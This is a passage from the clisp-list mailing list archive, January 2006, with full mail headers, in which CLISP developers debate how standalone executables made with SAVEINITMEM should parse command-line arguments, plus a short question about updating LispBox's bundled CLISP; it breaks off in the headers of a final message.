userid 5007) id D7ACC869124; Thu, 26 Jan 2006 11:36:44 -0500 (EST) From: Tom Emerson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17368.64156.737835.727864@tiphares.basistech.net> To: Klaus Weidner Cc: Pascal Bourguignon , Roman Belenov , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: release 2.38 - standalone executable In-Reply-To: <20060126162423.GB7080@w-m-p.com> References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> <17368.54059.318000.918601@thalassa.informatimago.com> <20060126162423.GB7080@w-m-p.com> X-Mailer: VM 7.19 under Emacs 21.2.1 Reply-To: tree@basistech.com X-OriginalArrivalTime: 26 Jan 2006 16:37:00.0010 (UTC) FILETIME=[BABE24A0:01C62296] X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 08:38:03 2006 X-Original-Date: Thu, 26 Jan 2006 11:36:44 -0500 Coming from the peanut gallery here, but it seems to me that the requirement for an "empty" argument could be handled by using a simple shell script wrapper around the invocation that hides the actual command being executed. This is done regularly in Java so that Java applications can be invoked as: % foo arg1 arg2 arg3 instead of % java -cp "some/class/path:additions/" com.foo.bar.fooApp arg1 arg2 arg3 Why fix something that isn't demonstratably broken when there is a simple work around? -tree -- Tom Emerson Basis Technology Corp. Software Architect http://www.basistech.com "You can't fake quality any more than you can fake a good meal." (W.S.B.) From sds@gnu.org Thu Jan 26 09:02:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2AWP-0004CQ-Db for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 09:02:57 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2AWJ-0004Vw-Pk for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 09:02:54 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0QH2FEj018464 for ; Thu, 26 Jan 2006 12:02:18 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] standalone executables & command line arguments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 09:03:03 2006 X-Original-Date: Thu, 26 Jan 2006 12:01:28 -0500 I modified CVS head to do the following: SAVEINITMEM now accepts :SCRIPT that defaults to (NOT INIT-FUNCTION) When the image created with :SCRIPT T (default) is invoked, the tradition behavior is exhibited: first positional argument is the script file name, the rest is placed into *ARGS* When the image created with :SCRIPT NIL is invoked, all positional arguments go into *ARGS*. this means: $ ./clisp -q -K boot -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t :init-function (lambda () (print (reduce (function +) ext:*args* :key (function read-from-string))) (ext:exit)))' $ ./adder 1 2 3 4 10 $ I want "./adder -help" to print the function doc for init-function too. I appreciate feedback. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.jihadwatch.org http://www.iris.org.il http://ffii.org http://www.openvotingconsortium.org http://www.dhimmi.com http://truepeace.org The only substitute for good manners is fast reflexes. From Roman.Belenov@intel.com Thu Jan 26 09:25:15 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2Ary-0006BN-Fc for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 09:25:14 -0800 Received: from fmr15.intel.com ([192.55.52.69] helo=fmsfmr005.fm.intel.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2Aru-0005tl-Lg for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 09:25:14 -0800 Received: from fmsfmr100.fm.intel.com (fmsfmr100.fm.intel.com [10.253.24.20]) by fmsfmr005.fm.intel.com (8.12.10/8.12.10/d: major-outer.mc,v 1.1 2004/09/17 17:50:56 root Exp $) with ESMTP id k0QHOmgb022573; Thu, 26 Jan 2006 17:24:48 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by fmsfmr100.fm.intel.com (8.12.10/8.12.10/d: major-inner.mc,v 1.2 2004/09/17 18:05:01 root Exp $) with SMTP id k0QHOCdZ030836; Thu, 26 Jan 2006 17:24:45 GMT Received: (from NNWRBELENOV41 [10.125.17.115]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.7.47) with SMTP id M2006012609244024127 ; Thu, 26 Jan 2006 09:24:44 -0800 To: tree@basistech.com Cc: Klaus Weidner , Pascal Bourguignon , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: release 2.38 - standalone executable References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> <17368.54059.318000.918601@thalassa.informatimago.com> <20060126162423.GB7080@w-m-p.com> <17368.64156.737835.727864@tiphares.basistech.net> From: Roman Belenov In-Reply-To: <17368.64156.737835.727864@tiphares.basistech.net> (Tom Emerson's message of "Thu, 26 Jan 2006 11:36:44 -0500") Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/23.0.0 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.52 on 10.253.24.20 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 09:26:06 2006 X-Original-Date: Thu, 26 Jan 2006 20:24:38 +0300 Tom Emerson writes: > Coming from the peanut gallery here, but it seems to me that the > requirement for an "empty" argument could be handled by using a simple > shell script wrapper around the invocation that hides the actual > command being executed. IMHO the main point of creating a standalone executable is to eliminate the need of additional scripts, thus simplifying the deployment. > This is done regularly in Java so that Java > applications can be invoked as: > > % foo arg1 arg2 arg3 > > instead of > > % java -cp "some/class/path:additions/" com.foo.bar.fooApp arg1 arg2 arg3 This approach was available in clisp for ages; the question is how to use new functionality to make things more straightforward. > Why fix something that isn't demonstratably broken when there is a > simple work around? Workaround, whatever simple, is still a workaround, not a solution, -- With regards, Roman. From kw@w-m-p.com Thu Jan 26 09:43:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2BA3-0007nM-9N for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 09:43:55 -0800 Received: from mail.atsec.com ([195.30.252.105]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2BA2-000406-Rd for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 09:43:55 -0800 Received: (qmail 28490 invoked by uid 10125); 26 Jan 2006 17:43:53 -0000 X-SpaceNet-Virusscan: Sophos Version: 4.00; Last IDE Update: 2006-01-26 11:50 no information about results Received: from enchantedrock.atsec.com (HELO io.lan.w-m-p.com) (216.201.228.115) by mail.atsec.com with SMTP; 26 Jan 2006 17:43:53 -0000 X-SpaceNet-Authentification: SMTP AUTH verified Received: by io.lan.w-m-p.com (Postfix, from userid 501) id D363A14AF0; Thu, 26 Jan 2006 11:43:49 -0600 (CST) From: Klaus Weidner To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] standalone executables & command line arguments Message-ID: <20060126174347.GC7080@w-m-p.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 09:44:05 2006 X-Original-Date: Thu, 26 Jan 2006 11:43:47 -0600 On Thu, Jan 26, 2006 at 12:01:28PM -0500, Sam Steingold wrote: > I modified CVS head to do the following: > > SAVEINITMEM now accepts :SCRIPT that defaults to (NOT INIT-FUNCTION) > When the image created with :SCRIPT T (default) is invoked, > the tradition behavior is exhibited: first positional argument is the > script file name, the rest is placed into *ARGS* > When the image created with :SCRIPT NIL is invoked, > all positional arguments go into *ARGS*. Thank you - but I would suggest going a bit further by using a tristate parameter, for example: :argument-handler :script (This is the default behavior when no INIT-FUNCTION is specified.) The CLISP runtime handles flag arguments, and the first positional parameter is treated as a script file name. Argument processing ends when a blank parameter ("") or double minus (--) is encountered, and any remaining arguments are placed into the EXT:*ARGS* variable. :argument-handler :standalone All arguments, including flags starting with '-', are placed into the EXT:*ARGS* variable. This allows standalone executables to fully handle all argument processing. The application is responsible for handling any flag arguments normally handled by the CLISP runtime if that functionality is required. :argument-handler :hybrid (This is the default behavior when an INIT-FUNCTION is specified.) The CLISP runtime handles flag arguments. All positional parameters (starting with the first non-flag argument) are placed into the EXT:*ARGS* variable for processing by the application. Flag arguments intended for the application must be placed after a blank argument ("") or double minus (--). The names are just suggestions of course. This would allow fully emulating the standard behavior of C applications. -Klaus From sds@gnu.org Thu Jan 26 10:26:11 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2Bow-0002Ra-Jb for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 10:26:10 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2Bot-0005va-Qh for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 10:26:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0QIPcUW022681; Thu, 26 Jan 2006 13:25:42 -0500 (EST) To: clisp-list@lists.sourceforge.net, Klaus Weidner Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060126174347.GC7080@w-m-p.com> (Klaus Weidner's message of "Thu, 26 Jan 2006 11:43:47 -0600") References: <20060126174347.GC7080@w-m-p.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Klaus Weidner Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: standalone executables & command line arguments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 10:27:05 2006 X-Original-Date: Thu, 26 Jan 2006 13:24:43 -0500 > * Klaus Weidner [2006-01-26 11:43:47 -0600]: > > :argument-handler :standalone > > All arguments, including flags starting with '-', are placed into > the EXT:*ARGS* variable. This allows standalone executables to > fully handle all argument processing. The application is > responsible for handling any flag arguments normally handled > by the CLISP runtime if that functionality is required. this will disable -M and -x. I understand that someone might want to re-implement "ls" with clisp and this will prevent him. Nevertheless, I believe it is important that someone who receives a clisp-based application can get a clisp repl by merely typing $ app -x '(saveinitmem)' $ app -M lispinit.mem or just $ app -x '(saveinitmem "clisp" :executable t)' $ ./clisp -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org http://pmw.org.il http://www.mideasttruth.com http://www.dhimmi.com http://www.camera.org http://www.honestreporting.com (when (or despair hope) (cerror "Accept life as is." "Bad attitude.")) From steven.harris@gnostech.com Thu Jan 26 13:55:21 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2F5N-0001G9-QR for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 13:55:21 -0800 Received: from adsl-64-171-114-78.dsl.sndg02.pacbell.net ([64.171.114.78] helo=chlorine.gnostech.com) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F2F5M-0008R0-N5 for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 13:55:22 -0800 Received: from sharris by chlorine.gnostech.com with local (Exim 4.54) id ITPZK1-0000OC-KH for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 13:55:13 -0800 From: Steven E. Harris To: clisp-list@lists.sourceforge.net Organization: SEH Labs References: <20060126174347.GC7080@w-m-p.com> Mail-Followup-To: clisp-list@lists.sourceforge.net In-Reply-To: (Sam Steingold's message of "Thu, 26 Jan 2006 13:24:43 -0500") Message-ID: User-Agent: Gnus/5.110004 (No Gnus v0.4) XEmacs/21.4.13 (cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: standalone executables & command line arguments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 13:56:02 2006 X-Original-Date: Thu, 26 Jan 2006 13:55:13 -0800 Sam Steingold writes: > Nevertheless, I believe it is important that someone who receives a > clisp-based application can get a clisp repl by merely typing I would expect it to be the prerogative of the author to make the implementation decision to use CLISP or some other system, and that decision here is not meant to be the business of the end-user. Why must every application created with CLISP also /be/ CLISP? -- Steven E. Harris From sds@gnu.org Thu Jan 26 14:02:54 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2FCg-0001lR-KJ for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 14:02:54 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2FCd-000497-T2 for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 14:02:54 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0QM2CxG002030; Thu, 26 Jan 2006 17:02:12 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Steven E.Harris" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Steven E. Harris's message of "Thu, 26 Jan 2006 13:55:13 -0800") References: <20060126174347.GC7080@w-m-p.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Steven E.Harris Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: standalone executables & command line arguments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 14:03:05 2006 X-Original-Date: Thu, 26 Jan 2006 17:01:17 -0500 > * Steven E.Harris [2006-01-26 13:55:13 -0800]: > > Sam Steingold writes: > >> Nevertheless, I believe it is important that someone who receives a >> clisp-based application can get a clisp repl by merely typing > > I would expect it to be the prerogative of the author to make the > implementation decision to use CLISP or some other system, and that > decision here is not meant to be the business of the end-user. Why > must every application created with CLISP also /be/ CLISP? because the what you are distributing (e.g., clisp executable image) does include full clisp (compiler, debugger &c) and I see no reason to prevent the user from easily accessing it. if you want full control over your application's options, you can use a script. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.dhimmi.com http://pmw.org.il http://www.honestreporting.com http://www.openvotingconsortium.org Democrats, get out of my wallet! Republicans, get out of my bedroom! From kw@w-m-p.com Thu Jan 26 16:20:27 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2HLn-00037C-1T for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 16:20:27 -0800 Received: from mail.atsec.com ([195.30.252.105]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2HLm-0008Tu-FA for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 16:20:27 -0800 Received: (qmail 24095 invoked by uid 10125); 27 Jan 2006 00:20:23 -0000 X-SpaceNet-Virusscan: Sophos Version: 4.00; Last IDE Update: 2006-01-27 01:00 no information about results Received: from enchantedrock.atsec.com (HELO io.lan.w-m-p.com) (216.201.228.115) by mail.atsec.com with SMTP; 27 Jan 2006 00:20:23 -0000 X-SpaceNet-Authentification: SMTP AUTH verified Received: by io.lan.w-m-p.com (Postfix, from userid 501) id B3DD814AF0; Thu, 26 Jan 2006 18:20:21 -0600 (CST) From: Klaus Weidner To: clisp-list@lists.sourceforge.net Message-ID: <20060127002016.GD7080@w-m-p.com> References: <20060126174347.GC7080@w-m-p.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: standalone executables & command line arguments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 16:21:06 2006 X-Original-Date: Thu, 26 Jan 2006 18:20:16 -0600 On Thu, Jan 26, 2006 at 01:24:43PM -0500, Sam Steingold wrote: > > * Klaus Weidner [2006-01-26 11:43:47 -0600]: > > :argument-handler :standalone > > > > All arguments, including flags starting with '-', are placed into > > the EXT:*ARGS* variable. This allows standalone executables to > > fully handle all argument processing. The application is > > responsible for handling any flag arguments normally handled > > by the CLISP runtime if that functionality is required. > > this will disable -M and -x. > I understand that someone might want to re-implement "ls" with clisp and > this will prevent him. My understanding is that you can't use any flags introduced with "-" if the default argument handling is active, since they'll get parsed by the clisp runtime and it'll produce the "invalid command-line option" message before your application even gets a chance to look at them. I guess I could live with a mixed mode where the clisp runtime would look at the arguments and then extracts and handles those it knows, leaving the rest for the application. But the default clisp argument set would cause far too many collisions, it uses many single-letter flags for its own purposes. It would cause less collisions if, in :standalone mode, clisp would handle only -M and -x, or (preferably) only long-form versions --mem-size and --expressions, and pass all others to ext:*args*. > Nevertheless, I believe it is important that someone who receives a > clisp-based application can get a clisp repl by merely typing [...] > $ app -x '(saveinitmem "clisp" :executable t)' > $ ./clisp Would one of these alternatives also be acceptable? app --clisp-args -x '(saveinitmem "clisp" :executable t)' (a magic --clisp-args switch which, if it's the first argument, overrides the :standalone flag and gives argument handling control back to the CLISP runtime) CLISP_EXPRESSIONS='(saveinitmem "clisp" :executable t)' ./app BTW, the new standalone SAVEINITMEM produces programs whose mechanics don't quite match the discussion in the COPYRIGHT file. They are produced with SAVEINITMEM but don't allow easy rebuilding using a CLISP rebuilt from source. I think the spirit of the COPYRIGHT file could be maintained if there'd be a flag "--detach-image" (non-overridable) or comparable functionality so you could do something like this to run it against a home built clisp: ./app --clisp-args --detach-image "exe.mem" my-own-clisp -M exe.mem -x ... Would this be reasonably easy (in other words, are they essentially just concatenated) or would it involve a lot of processing? -Klaus From lisp-clisp-list@m.gmane.org Thu Jan 26 18:01:05 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2Iv7-0004Yt-6I for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 18:01:01 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F2Iv4-0004xI-Qa for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 18:01:01 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1F2Iup-0003Af-0b for clisp-list@lists.sourceforge.net; Fri, 27 Jan 2006 03:00:43 +0100 Received: from c-67-190-199-214.hsd1.mn.comcast.net ([67.190.199.214]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 27 Jan 2006 03:00:42 +0100 Received: from bruce_lester by c-67-190-199-214.hsd1.mn.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 27 Jan 2006 03:00:42 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Bruce Lester Lines: 11 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 67.190.199.214 (Opera/8.51 (Windows NT 5.1; U; en)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] LispBox with clisp 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 18:02:02 2006 X-Original-Date: Fri, 27 Jan 2006 02:00:33 +0000 (UTC) I have been learning Lisp by reading Peter Seibel's book "Practical Common Lisp" and working through the examples using LispBox with clisp. I wanted to use DEFCLASS with the :ALLOCATION option but the latest LispBox for Windows incorporates clisp 2.33 and the :ALLOCATION option was introduced into clisp with version 2.36 Does anyone know how to update LispBox's 2.33 clisp with either the latest version of clisp 2.38? Thanks! From s11@member.fsf.org Thu Jan 26 18:15:08 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2J8l-00060Y-CF for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 18:15:07 -0800 Received: from sccimhc91.asp.att.net ([63.240.76.165]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2J8k-0001gb-1e for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 18:15:07 -0800 Received: from . (12-222-181-59.client.insightbb.com[12.222.181.59]) by sccimhc91.asp.att.net (sccimhc91) with SMTP id <20060127021458i9100fu175e>; Fri, 27 Jan 2006 02:14:58 +0000 Subject: Re: [clisp-list] LispBox with clisp 2.38 From: Stephen Compall To: Bruce Lester Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: Content-Type: text/plain Message-Id: <1138328097.15176.10.camel@nocandy.dyndns.org> Mime-Version: 1.0 X-Mailer: Evolution 2.2.3-10mdk Content-Transfer-Encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 18:16:01 2006 X-Original-Date: Thu, 26 Jan 2006 20:14:57 -0600 On Fri, 2006-01-27 at 02:00 +0000, Bruce Lester wrote: > Does anyone know how to update LispBox's 2.33 clisp with either the latest > version of clisp 2.38? See Timofei Shatrov's post <43d69c3d.26475259@news.readfreenews.net> to c.l.lisp in the 2.38 announcement thread at http://groups.google.com/group/comp.lang.lisp/browse_thread/thread/f90c103a43b61dec/c17f0c7ae5609677#c17f0c7ae5609677 -- Stephen Compall http://scompall.nocandysw.com/blog From pjb@informatimago.com Thu Jan 26 18:52:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2Jib-00009U-PT for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 18:52:09 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2Jia-0003gS-3q for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 18:52:09 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 9D4F7585EB; Fri, 27 Jan 2006 03:51:54 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 4389D585D3; Fri, 27 Jan 2006 03:51:48 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id ED2878309; Fri, 27 Jan 2006 03:51:47 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17369.35523.904463.839548@thalassa.informatimago.com> To: tree@basistech.com Cc: Klaus Weidner , Pascal Bourguignon , Roman Belenov , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: release 2.38 - standalone executable In-Reply-To: <17368.64156.737835.727864@tiphares.basistech.net> References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> <17368.54059.318000.918601@thalassa.informatimago.com> <20060126162423.GB7080@w-m-p.com> <17368.64156.737835.727864@tiphares.basistech.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com 